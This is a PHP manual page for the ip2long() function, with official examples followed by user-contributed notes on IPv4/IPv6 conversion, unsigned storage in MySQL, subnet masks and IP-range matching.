    # ipv4
    if (strpos($ip, '.') !== FALSE) {
        $ip = pack('N',ip2long($ip));
    }
    # ipv6
    elseif (strpos($ip, ':') !== FALSE) {
        $ip = explode(':', $ip);
        $res = str_pad('', (4*(8-count($ip))), '0000', STR_PAD_LEFT);
        foreach ($ip as $seg) {
            $res .= str_pad($seg, 4, '0', STR_PAD_LEFT);
        }
        $ip = pack('H'.strlen($res), $res);
    }
    return $ip;
}
?>
inet_ntop
ip2long
Network Functions


Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

inet_pton
long2ip
Network Functions
PHP Manual

ip2long

(PHP 4, PHP 5)

ip2long — Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address

Description

int ip2long ( string $ip_address )

The function ip2long() generates an IPv4 Internet network address from its Internet standard format (dotted string) representation.

ip2long() will also work with non-complete IP addresses. Read » http://publibn.boulder.ibm.com/doc_link/en_US/a_doc_lib/libs/commtrf2/inet_addr.htm for more info.

Parameters

ip_address

A standard format address.

Return Values

Returns the IPv4 address or FALSE if ip_address is invalid.

Changelog

Version | Description
5.2.10 | Prior to this version, ip2long() would sometimes return a valid number even if passed an value which was not an (IPv4) Internet Protocol dotted address.
5.0.0 | Prior to this version, ip2long() returned -1 on failure.

Examples

Example #1 ip2long() Example

<?php
$ip = gethostbyname('www.example.com');
$out = "The following URLs are equivalent:<br />\n";
$out .= 'http://www.example.com/, http://' . $ip . '/, and http://' . sprintf("%u", ip2long($ip)) . "/<br />\n";
echo $out;
?>

Example #2 Displaying an IP address

This second example shows how to print a converted address with the printf() function in both PHP 4 and PHP 5:

<?php
$ip   = gethostbyname('www.example.com');
$long = ip2long($ip);

if ($long == -1 || $long === FALSE) {
    echo 'Invalid IP, please try again';
} else {
    echo $ip   . "\n";           // 192.0.34.166
    echo $long . "\n";           // -1073732954
    printf("%u\n", ip2long($ip)); // 3221234342
}
?>

Example #3 IP validation

ip2long() should not be used as the sole form of IP validation. Combine it with long2ip():

<?php
// make sure IPs are valid. also converts a non-complete IP into
// a proper dotted quad as explained below.
$ip = long2ip(ip2long("127.0.0.1")); // "127.0.0.1"
$ip = long2ip(ip2long("10.0.0")); // "10.0.0.0"
$ip = long2ip(ip2long("10.0.256")); // "10.0.1.0"
?>

Notes

Note:

Because PHP's integer type is signed, and many IP addresses will result in negative integers on 32-bit architectures, you need to use the "%u" formatter of sprintf() or printf() to get the string representation of the unsigned IP address.

Note:

ip2long() will return FALSE for the IP 255.255.255.255 in PHP 5 <= 5.0.2. It was fixed in PHP 5.0.3 where it returns -1 (same as PHP 4).

See Also

  • long2ip() - Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • sprintf() - Return a formatted string

User Contributed Notes

klawd at kamundo dot de 25-Jan-2012 09:18
Use these two functions to convert from and to numbers compatible to MySQLs INET_ATON and INET_NTOA
<?php
    function convertIpToString($ip)
    {
        $long = 4294967295 - ($ip - 1);
        return long2ip(-$long);
    }
    function convertIpToLong($ip)
    {
        return sprintf("%u", ip2long($ip));
    }
PandoraBox2007 at gmail dot com 03-Dec-2011 07:06
Universal ip4/ip6

<?php
// encoded --
function encode_ip ($ip)
{
    $d = explode('.', $ip);
    if (count($d) == 4) return sprintf('%02x%02x%02x%02x', $d[0], $d[1], $d[2], $d[3]);

    $d = explode(':', preg_replace('/(^:)|(:$)/', '', $ip));
    $res = '';
    foreach ($d as $x)
        $res .= sprintf('%0'. ($x == '' ? (9 - count($d)) * 4 : 4) .'s', $x);
    return $res;
}

// decoded
function decode_ip($int_ip)
{
    function hexhex($value) { return dechex(hexdec($value)); };

    if (strlen($int_ip) == 32) {
        $int_ip = substr(chunk_split($int_ip, 4, ':'), 0, 39);
        $int_ip = ':'. implode(':', array_map("hexhex", explode(':',$int_ip))) .':';
        preg_match_all("/(:0)+/", $int_ip, $zeros);
        if (count($zeros[0]) > 0) {
            $match = '';
            foreach($zeros[0] as $zero)
                if (strlen($zero) > strlen($match))
                    $match = $zero;
            $int_ip = preg_replace('/'. $match .'/', ':', $int_ip, 1);
        }
        return preg_replace('/(^:([^:]))|(([^:]):$)/', '$2$4', $int_ip);
    }
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>

DB:
`user_ip` varchar(32) DEFAULT NULL
bimal at sanjaal dot com 07-Jul-2011 02:08
The signed integers of PHP will produce a lot of negative values for ip2long. Here is what I did it to make sure that valid numbers enter into my database: INT(10) UNSIGNED.

<?php
# IP is: 192.168.0.224
$ip = sprintf("%u", ip2long(long2ip(ip2long($_SERVER['REMOTE_ADDR']))));

# It produces: 3232235744
?>

I can treat the $ip as string in PHP, while integer for MySQL.
The following works well - while converting back to IP, using the SQL:

SELECT INET_NTOA(3232235744) ip, INET_ATON('192.168.0.224') number;

The results are good: 192.168.0.224 and 3232235744 respectively.
anjo2 28-May-2011 09:13
In 32bits systems, you cannot convert ipv6 to long, but you can convert ip2bin and bin2ip

This function converts ipv4 and ipv6, returns false if ip is not valid

<?php
function ip2bin($ip)
{
    if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false)
        return base_convert(ip2long($ip),10,2);
    if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false)
        return false;
    if(($ip_n = inet_pton($ip)) === false) return false;
    $bits = 15; // 16 x 8 bit = 128bit (ipv6)
    while ($bits >= 0)
    {
        $bin = sprintf("%08b",(ord($ip_n[$bits])));
        $ipbin = $bin.$ipbin;
        $bits--;
    }
    return $ipbin;
}

function bin2ip($bin)
{
   if(strlen($bin) <= 32) // 32bits (ipv4)
       return long2ip(base_convert($bin,2,10));
   if(strlen($bin) != 128)
       return false;
   $pad = 128 - strlen($bin);
   for ($i = 1; $i <= $pad; $i++)
   {
       $bin = "0".$bin;
   }
   $bits = 0;
   while ($bits <= 7)
   {
       $bin_part = substr($bin,($bits*16),16);
       $ipv6 .= dechex(bindec($bin_part)).":";
       $bits++;
   }
   return inet_ntop(inet_pton(substr($ipv6,0,-1)));
}
?>
hanguofeng at gmail dot com 13-Mar-2011 07:50
I've write an IPFilter class to check if a ip is in given ips.

<?php
class IPFilter
{
    private static $_IP_TYPE_SINGLE = 'single';
    private static $_IP_TYPE_WILDCARD = 'wildcard';
    private static $_IP_TYPE_MASK = 'mask';
    private static $_IP_TYPE_SECTION = 'section';
    private $_allowed_ips = array();

    public function __construct($allowed_ips)
    {
        $this -> _allowed_ips = $allowed_ips;
    }

    public function check($ip, $allowed_ips = null)
    {
        $allowed_ips = $allowed_ips ? $allowed_ips : $this->_allowed_ips;

        foreach($allowed_ips as $allowed_ip)
        {
            $type = $this -> _judge_ip_type($allowed_ip);
            $sub_rst = call_user_func(array($this,'_sub_checker_' . $type), $allowed_ip, $ip);

            if ($sub_rst)
            {
                return true;
            }
        }

        return false;
    }

    private function _judge_ip_type($ip)
    {
        if (strpos($ip, '*'))
        {
            return self :: $_IP_TYPE_WILDCARD;
        }

        if (strpos($ip, '/'))
        {
            return self :: $_IP_TYPE_MASK;
        }

        if (strpos($ip, '-'))
        {
            return self :: $_IP_TYPE_SECTION;
        }

        if (ip2long($ip))
        {
            return self :: $_IP_TYPE_SINGLE;
        }

        return false;
    }

    private function _sub_checker_single($allowed_ip, $ip)
    {
        return (ip2long($allowed_ip) == ip2long($ip));
    }

    private function _sub_checker_wildcard($allowed_ip, $ip)
    {
        $allowed_ip_arr = explode('.', $allowed_ip);
        $ip_arr = explode('.', $ip);
        for($i = 0;$i < count($allowed_ip_arr);$i++)
        {
            if ($allowed_ip_arr[$i] == '*')
            {
                return true;
            }
            else
            {
                if (false == ($allowed_ip_arr[$i] == $ip_arr[$i]))
                {
                    return false;
                }
            }
        }
    }

    private function _sub_checker_mask($allowed_ip, $ip)
    {
        list($allowed_ip_ip, $allowed_ip_mask) = explode('/', $allowed_ip);
        $begin = (ip2long($allowed_ip_ip) &ip2long($allowed_ip_mask)) + 1;
        $end = (ip2long($allowed_ip_ip) | (~ip2long($allowed_ip_mask))) + 1;
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }

    private function _sub_checker_section($allowed_ip, $ip)
    {
        list($begin, $end) = explode('-', $allowed_ip);
        $begin = ip2long($begin);
        $end = ip2long($end);
        $ip = ip2long($ip);
        return ($ip >= $begin && $ip <= $end);
    }
}
?>

useage:
<?php
$filter = new IPFilter(
    array(
        '127.0.0.1',
        '172.0.0.*',
        '173.0.*.*',
        '126.1.0.0/255.255.0.0',
        '125.0.0.1-125.0.0.9',
));
$filter -> check('126.1.0.2');
?>
ionisis dot com at TheSocialExpo dot com 20-Feb-2011 01:41
I've tried to get my comment in, but evidently it's still wider than the word wrap, even after repeated attempts to mitigate that... so i'll link to the post.

I wrote this function here to fully expand the user's ipv6 address, and then to convert it to decimal:

http://thesocialexpo.com/?a=SUBS_Blog_Display&id=12981930190593528

Note that if you don't care about it's fully expanded character representation, then wiessner's function below is probably better to just get the number.
me at iaincollins dot com 19-May-2010 03:37
I would just like to try and clear up simply that if storing IPV4 addresses in an SQL database you should use an unsigned int (4 bytes).

The easiest way to do this in PHP is to use sprintf():

<?php
 $dottedFormatAddress = '127.0.0.1';
 $ipv4address = sprintf("%u", ip2long($dottedFormatAddress));
?>

Primary reasons are it's compatible with database functions like MySQL's INET_ATON & INET_NTOA (which also use unsigned int's), it's efficient,  and it's the most common format used by IP lookup databases.
Mam(O)n 23-Jan-2010 03:37
Another CIDR function, but with sanity check:
<?php
function mask2prefix($mask)
{
    if (($long = ip2long($mask)) === false)
        return false;
    for ($prefix = 0; $long & 0x80000000; ++$prefix, $long <<= 1) {}
    if ($long != 0)
        return false;
    return $prefix;
}
?>
joe at joeceresini dot com 24-Nov-2009 05:45
A quick method to convert a netmask (ex: 255.255.255.240) to a cidr mask (ex: /28):

<?php
function mask2cidr($mask){
  $long = ip2long($mask);
  $base = ip2long('255.255.255.255');
  return 32-log(($long ^ $base)+1,2);

  /* xor-ing will give you the inverse mask,
      log base 2 of that +1 will return the number
      of bits that are off in the mask and subtracting
      from 32 gets you the cidr notation */

}
?>
f dot wiessner at smart-weblications dot net 07-Nov-2009 06:12
Here some working ip2long6 and long2ip6 functions - keep in mind that this needs php gmp-lib:

<?php

$ipv6 = "2001:4860:a005::68";

function ip2long6($ipv6) {
  $ip_n = inet_pton($ipv6);
  $bits = 15; // 16 x 8 bit = 128bit
  while ($bits >= 0) {
    $bin = sprintf("%08b",(ord($ip_n[$bits])));
    $ipv6long = $bin.$ipv6long;
    $bits--;
  }
  return gmp_strval(gmp_init($ipv6long,2),10);
}

function long2ip6($ipv6long) {

  $bin = gmp_strval(gmp_init($ipv6long,10),2);
  if (strlen($bin) < 128) {
    $pad = 128 - strlen($bin);
    for ($i = 1; $i <= $pad; $i++) {
    $bin = "0".$bin;
    }
  }
  $bits = 0;
  while ($bits <= 7) {
    $bin_part = substr($bin,($bits*16),16);
    $ipv6 .= dechex(bindec($bin_part)).":";
    $bits++;
  }
  // compress

  return inet_ntop(inet_pton(substr($ipv6,0,-1)));
}

print $ipv6long =  ip2long6($ipv6)."\n";
print $ipv6 = long2ip6($ipv6long)."\n";

?>

outputs:

42541956150894553250710573749450571880
2001:4860:a005::68
david dot schueler at tel-billig dot de 27-Oct-2009 06:41
To get the network adress out of the broadcast adress and netmask just to an AND on it:

<?php
// simple example
$bcast = ip2long("192.168.178.255");
$smask = ip2long("255.255.255.0");
$nmask = $bcast & $smask;
echo long2ip($nmask); // Will give 192.168.178.0
?>

With this example you are able to check if a given host is in your own local net or not (on linux):

<?php
/**
 * Check if a client IP is in our Server subnet
 *
 * @param string $client_ip
 * @param string $server_ip
 * @return boolean
 */
function clientInSameSubnet($client_ip=false,$server_ip=false) {
    if (!$client_ip)
        $client_ip = $_SERVER['REMOTE_ADDR'];
    if (!$server_ip)
        $server_ip = $_SERVER['SERVER_ADDR'];
    // Extract broadcast and netmask from ifconfig
    if (!($p = popen("ifconfig","r"))) return false;
    $out = "";
    while(!feof($p))
        $out .= fread($p,1024);
    fclose($p);
    // This is because the php.net comment function does not
    // allow long lines.
    $match  = "/^.*".$server_ip;
    $match .= ".*Bcast:(\d{1,3}\.\d{1,3}i\.\d{1,3}\.\d{1,3}).*";
    $match .= "Mask:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/im";
    if (!preg_match($match,$out,$regs))
        return false;
    $bcast = ip2long($regs[1]);
    $smask = ip2long($regs[2]);
    $ipadr = ip2long($client_ip);
    $nmask = $bcast & $smask;
    return (($ipadr & $smask) == ($nmask & $smask));
}
?>
joshua_r108 at hotmail dot com 01-Aug-2009 11:30
I wrote something on the different ways to get an IP and convert it using ip2long(), the different ways to store an IP or an IP range in MySQL, and the different ways to query for the IP(s). Maybe something useful for others?

http://strictcoder.blogspot.com/2009_08_01_archive.html
Title: Query For An IP In A Database

Regards,
Joshua K Roberson
jwadhams1 at yahoo dot com 28-Jul-2009 03:41
I wanted to build on what kaputt and spinyn contributed in a way that I think is a little more intuitive (e.g., let sprintf do all the binary conversion and padding, and let substr_compare do the trimming and comparing):

<?php
function ip_in_network($ip, $net_addr, $net_mask){
    if($net_mask <= 0){ return false; }
        $ip_binary_string = sprintf("%032b",ip2long($ip));
        $net_binary_string = sprintf("%032b",ip2long($net_addr));
        return (substr_compare($ip_binary_string,$net_binary_string,0,$net_mask) === 0);
}

ip_in_network("192.168.2.1","192.168.2.0",24); //true
ip_in_network("192.168.6.93","192.168.0.0",16); //true
ip_in_network("1.6.6.6","128.168.2.0",1); //false
?>
spinyn at gmail dot com 16-Apr-2009 07:51
Just want to add a comment to kaputt's valuable contribution to the task of matching hosts to ip ranges, efficiently.  The script works fine if the binary representation of the ip involves no leading zeros.  Unfortunately, the way decbin() seems to work, leading zeros in the binary representation of the first ip quad get dropped.  That is a serious matter if you're trying to match all possible candidates in the checklist.  In those cases the leading zeros need to be added back to get accurate matches for values in the first quad between 0-127 (or the binary equivalent, 0-01111111).

The solution I came up with to address this issue was the following function:

<?php
function addLeadingZero($ip) {
   if (($result = (32 - strlen($ip))) > 0)
      return str_repeat("0", $result).$ip;
}
?>
Anonymous 18-Feb-2009 11:43
To always get the signed 32bit representation of an ip, I found this workaround:
<?php
list(, $ip) = unpack('l',pack('l',ip2long('200.200.200.200')));
?>

In this example, $ip will be -926365496 regardless of a 32 or 64 bit system.
randolf 20-Jan-2009 01:19
Convert IP to unsigned long

<?php
//$strIP  :   IP in String-format
//$lngIP  :   IP in unsigned long

if (($lngIP=ip2long($strIP)) < 0){ $lngIP += 4294967296 ;}

                                                       // ADD 2^32

thats all.
?>
zuzana 05-Dec-2008 02:24
mysql has built-in functions inet_aton() and inet_ntoa() to convert ip to long and vice versa. you dont need to write any custom statements.
jbezorg at gmail dot com 20-Nov-2008 02:04
Had a need to convert IPs stored in VARCAR(15) to UINT in an old PHP application. Here are my tests for converting in a MySQL database so you don't have to reinvent the wheel.

#Dotted format to INT in MySQL

SET @ip_as_string = '198.128.128.0';
SELECT
    ( SUBSTRING_INDEX( @ip_as_string, '.', 1 )<<24 ) +
    ( SUBSTRING_INDEX( SUBSTRING_INDEX( @ip_as_string, '.', 2 ), '.', -1 )<<16 ) +
    ( SUBSTRING_INDEX( SUBSTRING_INDEX( @ip_as_string, '.', -2 ), '.', 1 )<<8 ) +
    SUBSTRING_INDEX(@ip_as_string, '.', -1) `IPvINT`;

#INT to dotted format in MySQL

SET @ip_as_long = 3330310144;
SELECT
    CONCAT( @ip_as_long>>24, '.', (@ip_as_long&16711680)>>16, '.', (@ip_as_long&65280)>>8, '.' , @ip_as_long&255 ) `IPv4`;
kaputt at starnet dot md 03-Nov-2008 11:47
Hi all!

I've maded simple script that allow you filter traffic by networks, like if you want to deny 192.168.0.0/24

I used ncritten's myip2long function for this.

Sorry for such non-optimized code, but it works enough good =)

file iplist.txt:
192.168.0.0/24
172.16.0.0/16
10.0.0.0/8

<?php
########### ncritten's function myip2long

function myip2long($ip) {
   if (is_numeric($ip)) {
       return sprintf("%u", floatval($ip));
   } else {
       return sprintf("%u", floatval(ip2long($ip)));
   }
}

########### function to chek ip if it in one of denyied/allowed networks =)

function ipfilter($ip) {
   $match = 0;

### converting ip address in binary
   $ip_addr = decbin(myip2long($ip));

### the file wich contains allowed/denyied networks
   if (fopen("iplist.txt", "r")) {
       $source = file("iplist.txt");

       foreach ($source as $line) {

### exploding each network to obtaid network address and cidr
           $network = explode("/", $line);
           $net_addr = decbin(myip2long($network[0]));
           $cidr = $network[1];

### and finaly cheking quantity of network bits from left to right wich is equal to cidr is equal to the same bits of ip address
           if (substr($net_addr, 0, $cidr) == substr($ip_addr, 0, $cidr)) {
               $match = 1;
               break;
           }
       }
   }
   return $match;
}

### this function will return 1 if IP match to some network or 0 if will not match

### and finaly the chek will be like this

$user_ip = $_SERVER['REMOTE_ADDR'];

if (ipfilter($user_ip) == 1)  echo "allowed!";
else echo "deny!";

?>

Good Luck!

P.S. Sorry for my bad english =)
Teguh Iskanto - Kamprettos at yahoo 29-Aug-2008 09:53
to Anonymous @ 29-Aug-2008 10:19

If you're speaking about efficiency, there's no absolute right / wrong as it all depends on the user's needs, specs and requirements.

But from what I'm coming from , this method served me well,  I've used this to match 2 network ends of approx 2700++ something unique VRFs (Nortel Shasta) and yes, each VRF is a virtualized firewall that consists of at least 20 different network objects (some could have couple of hundreds). Not to mention that these , still have to be compared with another hundreds of contivity boxes and each box have a range of around 1-600 vpn peers (to add more complexity, each peer has around 1-50 network ranges).

So, if you do the math, the number of permutations that need to be calculated, is indeed quite complex. I could get the whole result somewhere in around 50-65 secs tops.

Had I used a php function to crunch those data the result would have been longer.
Anonymous 29-Aug-2008 05:19
@Teguh Iskanto

Hi,

Your solution requires you to store the IP addresses and masks as strings, and also to store the subnet mask being used by your hosts.  This is very inefficient.

If you stored your network addresses as unsigned Integers, and your masks as TinyInts (i.e. a value between 0 & 32), you could instead do this:

select * from networks WHERE inet_aton('10.20.251.130') between `ipnumber` AND (`ipnumber` + (POW(2,(32-`mask`)))-1);

Obviously this can be made quicker on very high load systems by storing the broadcast address in the table instead of calculating it on the fly:

select * from networks WHERE inet_aton('10.20.251.130') between `ipnumber` AND `broadcast`;

Nick
ncritten at gmail dot youknowwhat 29-Aug-2008 04:58
Hi,
Please find below a little function I wrote for handling IP addresses as unsigned integers.
This function will take an IP address or IP number in ANY FORMAT (that I can think of) and will return it's decimal unsigned equivalent, as a string.

<?php
function myip2long($ip){
    if (is_numeric($ip)){
        return sprintf("%u", floatval($ip));
    } else {
        return sprintf("%u", floatval(ip2long($ip)));
    }
}
?>

Here is is in action:

<?php
$ip['DottedQuadDec'] = "192.168.255.109";
$ip['PosIntStr']     = "3232300909";
$ip['NegIntStr']     = "-1062666387";
$ip['PosInt']        = 3232300909;
$ip['NegInt']        = -1062666387;
$ip['DottedQuadHex'] = "0xc0.0xA8.0xFF.0x6D";
$ip['DottedQuadOct'] = "0300.0250.0377.0155";
$ip['HexIntStr']     = "0xC0A8FF6D";
$ip['HexInt']        = 0xC0A8FF6D;

printf("\n% 16s : % 20s => % 11s => % 16s","Input Type","Input Value","Converted","Converted Back");
echo "\n    ------------------------------------------------------------------";
foreach ($ip as $type => $value){
    $ipnum = myip2long($value);
    printf("\n% 16s : % 20s => % 11s => % 16s",$type,$value,$ipnum,long2ip($ipnum));
}
?>
Teguh Iskanto - Kamprettos_at_yahoo 27-Aug-2008 07:40
A quick way to find which IP address belong to which network , *without* even creating a single PHP function (pure SQL)

Scenario :
- I have one table that has a list of host ip addresses
- I have another table that list all the networks' addresses
- I need to find which host belongs to which network

nodes table
+-------------+-----------------+-------+
| ip          | mask            | name  |
+-------------+-----------------+-------+
| 192.168.1.1 | 255.255.255.0   | node1 |
| 192.168.1.1 | 255.255.255.252 | node2 |
| 192.168.2.1 | 255.255.255.252 | node3 |
+-------------+-----------------+-------+

network1 table
+-------------+---------------+------+
| ipaddr      | netmask       | name |
+-------------+---------------+------+
| 192.168.1.0 | 255.255.255.0 | net1 |
| 192.168.2.0 | 255.255.255.0 | net2 |
| 192.168.3.0 | 255.255.255.0 | net3 |
| 192.168.4.0 | 255.255.255.0 | net4 |
+-------------+---------------+------+

Solution 1 - with PHP ( Long ... ) :
1. create a PHP function that will calculate and compare IP address with the network
2. extract data from the table nodes, calculate the IP with its mask using a PHP function to get the network address
3.  do the same with table network1
4. compare result 2 and result 3 , once finished put them into an array to be presented as an HTML
5. done

Solution 2 - With SQL ( Very Very Fast & Short ) :
1. create sql with 'inet_aton' function + table joins
2. extract the data from sql outputs
3. done

how :
SQL :
select a.name as host_name,
a.ip as host_ip,
b.name as net_name
from nodes a, network1 b
where (inet_aton(a.ip) & inet_aton(a.mask) = inet_aton(b.ipaddr) & inet_aton(b.netmask));

Results :
Voilla ...
+-----------+-------------+----------+
| host_name | host_ip     | net_name |
+-----------+-------------+----------+
| node1     | 192.168.1.1 | net1     |
| node2     | 192.168.1.1 | net1     |
| node3     | 192.168.2.1 | net2     |
+-----------+-------------+----------+

Hope this helps
sy ABC damla.net 20-Jun-2008 03:57
Yes, but for safety wrapping it up with sprintf() does not hurt on 64bits either.
Anonymous 19-Jun-2008 08:09
on 64 bits system ip2long ONLY RETURNS POSITIVE VALUES

so

<?php
echo ip2long('200.200.200.200');
?>

will output -926365496 on a 32 bits system and 3368601800  on a 64 bits system
herwin at snt dot utwente nl 04-Jun-2008 08:50
The code examples explain why printing needs a casting, but beware that also calculations are performed with signed integers. In my case, the result of (ip2long('130.89.0.1') >> 24) was supposed to be 130, but the actual result was -126
chrisp-phpnet at inventivedingo dot com 30-May-2008 07:36
I had a problem with calling this function with REMOTE_ADDR on my lighttpd web server. Turned out that IPv6 was installed on this server, so even though REMOTE_ADDR was an IPv4 address, it was being formatted using IPv6's IPv4 compatibility mode. For example, 10.0.0.1 was becoming ::ffff:10.0.0.1, which caused iplong to report the address as invalid instead of parsing it correctly.

The correct fix would of course be to update my infrastructure so that it's properly IPv6-compatible; but in the context of my particular situation, this would involve a lot of re-engineering. So in the meantime, I worked around the issue using this quick and dirty hack:

<?php
    $ip = htmlspecialchars($_SERVER['REMOTE_ADDR']);
    if (strpos($ip, '::') === 0) {
        $ip = substr($ip, strrpos($ip, ':')+1);
    }
    $host = ip2long($ip);
?>

Ugly but functional.
jpmarcotte at gmail dot com 20-May-2008 03:10
In using a combination of jbothe's code below and some of the "$mask = 0xFFFFFFFF << (32 - $bits)" type code, I ran into an error with some later calculations on a 64 bit machine.

Keep in mind that when you're analyzing numbers meant to be treated as 32 bits wide (such as IP addresses), you may want to truncate them. Without relying on other libraries, it was simple enough to follow any calculations that may end with different results on a 64 bit machine with " & 0xFFFFFFFF"

Though in many cases, it seems like it might be simpler to just use "~0 << ..." for initial shifting to create the network mask instead of "0xFFFFFFFF << ...". I don't know that it guarantees further operations to work as expected though.
lutel 09-Apr-2008 04:45
here is netMatch function which is the fastest I could wrote, I hope developers will include native function soon...

<?php
function netMatch ($CIDR,$IP) {
    list ($net, $mask) = explode ('/', $CIDR);
    return ( ip2long ($IP) & ~((1 << (32 - $mask)) - 1) ) == ip2long ($net);
}
?>
php dot net at kenman dot net 01-Apr-2008 10:02
To nate, who advises that there is no reason to use an unsigned version of the IP in a MySQL DB:

I think it would depend on your application, but personally, I find it useful to store IP's as unsigneds since MySQL has 2 native functions, INET_ATON() and INET_NTOA(), which work the same as ip2long()/long2ip() _except_ that they generate the unsigned counterpart. So if you want, you could do:

-- IANA Class-B reserved/private
SELECT * FROM `servers`
WHERE `ip` >= INET_ATON('192.168.0.0')
AND `ip` <= INET_ATON('192.168.255.255');

In my current application, I find it easier to use the MySQL built-ins than the PHP counter-parts.

In case you're curious as to the names ATON and NTOA:

ATON = address to number aka. ip2long
NTOA = number to address aka. long2ip
johniskew at yahoo dot com 24-Mar-2008 10:14
The following function ipToHex will take an IP (v4 or v6 formatted) and if it is valid, will return a 32 byte hex string representing that address.  Requires php >= 5.2 as it uses the filter_var function.

<?php

function ipToHex($ipAddress) {
    $hex = '';
    if(strpos($ipAddress, ',') !== false) {
        $splitIp = explode(',', $ipAddress);
        $ipAddress = trim($splitIp[0]);
    }
    $isIpV6 = false;
    $isIpV4 = false;
    if(filter_var($ipAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false) {
        $isIpV6 = true;
    }
    else if(filter_var($ipAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
        $isIpV4 = true;
    }
    if(!$isIpV4 && !$isIpV6) {
        return false;
    }
    // IPv4 format
    if($isIpV4) {
        $parts = explode('.', $ipAddress);
        for($i = 0; $i < 4; $i++) {
            $parts[$i] = str_pad(dechex($parts[$i]), 2, '0', STR_PAD_LEFT);
        }
        $ipAddress = '::'.$parts[0].$parts[1].':'.$parts[2].$parts[3];
        $hex = join('', $parts);
    }
    // IPv6 format
    else {
        $parts = explode(':', $ipAddress);
        // If this is mixed IPv6/IPv4, convert end to IPv6 value
        if(filter_var($parts[count($parts) - 1], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) {
            $partsV4 = explode('.', $parts[count($parts) - 1]);
            for($i = 0; $i < 4; $i++) {
                $partsV4[$i] = str_pad(dechex($partsV4[$i]), 2, '0', STR_PAD_LEFT);
            }
            $parts[count($parts) - 1] = $partsV4[0].$partsV4[1];
            $parts[] = $partsV4[2].$partsV4[3];
        }
        $numMissing = 8 - count($parts);
        $expandedParts = array();
        $expansionDone = false;
        foreach($parts as $part) {
            if(!$expansionDone && $part == '') {
                for($i = 0; $i <= $numMissing; $i++) {
                    $expandedParts[] = '0000';
                }
                $expansionDone = true;
            }
            else {
                $expandedParts[] = $part;
            }
        }
        foreach($expandedParts as &$part) {
            $part = str_pad($part, 4, '0', STR_PAD_LEFT);
        }
        $ipAddress = join(':', $expandedParts);
        $hex = join('', $expandedParts);
    }
    // Validate the final IP
    if(!filter_var($ipAddress, FILTER_VALIDATE_IP)) {
        return false;
    }
    return strtolower(str_pad($hex, 32, '0', STR_PAD_LEFT));
}
$ips = array(
    '::192.168.0.2',
    '0:0:0:0:0:0:192.168.0.2',
    '192.168.0.2',
    '::C0A8:2',
    '0:0:0:0:0:0:C0A8:2'
);
$finals = array();
foreach($ips as $ip) {
    $finals[] = ipToHex($ip);
}
var_dump($finals);

?>
og_sam at homail dot com 16-Mar-2008 07:15
@ samb057 at gmail dot com

This function will not return a correct bigint.

base_convert() is limited to the double type,
which usually counts 64bits and not 128 like an IPv6 address.

For example:

FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF

will __NOT__ be converted to 128^2 -1

You should use a bigint lib's multiplication function,
with decimal shifting factors defined as string constants (much faster than recalculating them every time).
Grab 8 short integers (the 16bits between the ':' with base_convert($hex,16,10)) and shift the 7 higher ones with a bigint_multiplication.

Of course you can also do it with less bigint ops using 32bit integers, but then you should create them this way (additionally 'sprintf' for making an uint32 string):
$uint32= sprintf('%u',intval(base_convert($hex,16,10)));

Finally, "bigint_add" the shifted ones to the least (unshifted) significant interger string and be happy

PS: I'm working on an IPv4/6 tool class with raw (also endianness), 6/4 compatibility and validation methods,
I'll post it here as soon as it's finished and tested.
mhakopian at gmail dot com 11-Feb-2008 11:46
Just a little function to check visitor's ip if it is in given range or not (I couldn't find anywhere so i improvise):

<?php
function in_ip_range($ip_one, $ip_two=false){
    if($ip_two===false){
        if($ip_one==$_SERVER['REMOTE_ADDR']){
            $ip=true;
        }else{
            $ip=false;
        }
    }else{
        if(ip2long($ip_one)<=ip2long($_SERVER['REMOTE_ADDR']) && ip2long($ip_two)>=ip2long($_SERVER['REMOTE_ADDR'])){
            $ip=true;
        }else{
            $ip=false;
        }
    }
    return $ip;
}
//usage
echo in_ip_range('192.168.0.0','192.168.1.254');
?>
curda2 at hotmail dot com - Dim Works dot org 10-Feb-2008 11:01
The things that this function do is:

Structure of function:

<?php

$ip = getenv(REMOTE_ADDR);
$numbers=explode (".",$ip);
$code=($numbers[0] * 16777216) + ($numbers[1] * 65536) + ($numbers[2] * 256) + ($numbers[3]);
//$code is the final variant

?>

that is similar to do this:

<?php

$ip = getenv(REMOTE_ADDR);
$code=ip2long($ip);
//$code is the final variant

?>
dbemowsk 26-Jan-2008 07:41
A common way to express IP addresses and subnet masks is to use what is refered to as slash notation.  Instead of writing out:
IP = 192.168.100.2
Subnet Mask = 255.255.240.0
Writing out "192.168.100.2/20" is much shorter.

If you are looking for a way to convert a subnet mask into it's slash notation counterpart, here is a single line of code that can perform this task.

<?php
$slash_notation = strlen(preg_replace("/0/", "", decbin(ip2long($subnet_mask))));
?>

For example...
A subnet mask of 255.255.240.0 expressed in binary looks like this:
11111111111111111111000000000000
This gives us a slash notation of 20 which is simply counting the number of 1's in the masks binary representation.

Here is a function that uses this code to return an IP address and subnet mask in slash notation.

<?php
function slash_notation($ip, $mask) {
  return $ip."/".strlen(preg_replace("/0/", "", decbin(ip2long($mask))));
}
?>

calling slash_notation("192.168.100.2", "255.255.255.0"); will return "192.168.100.2/24".

Hope this is of use to some of you out there.
nate 18-Dec-2007 01:44
Thanks to sealbreaker for the conversion method. I'd seen <?php (ip2long($ip) & 0x7FFFFFFF) + 0x80000000 ?> before, but noticed it didn't work on all ips. You've discovered why. :)

In case anyone is wondering what sealbreaker means by obtaining an "integer value", s/he means an unsigned int, vs the signed version ip2long provides. Well, technically this conversion will sometimes give you a float since php's integer type is signed.

The good news is that long2ip will correctly handle converting these signed versions back into ips.

So, to get an unsigned version of an ip (ie, always >= 0):

<?php

$ip = '127.0.0.1';

// may return a php int or float
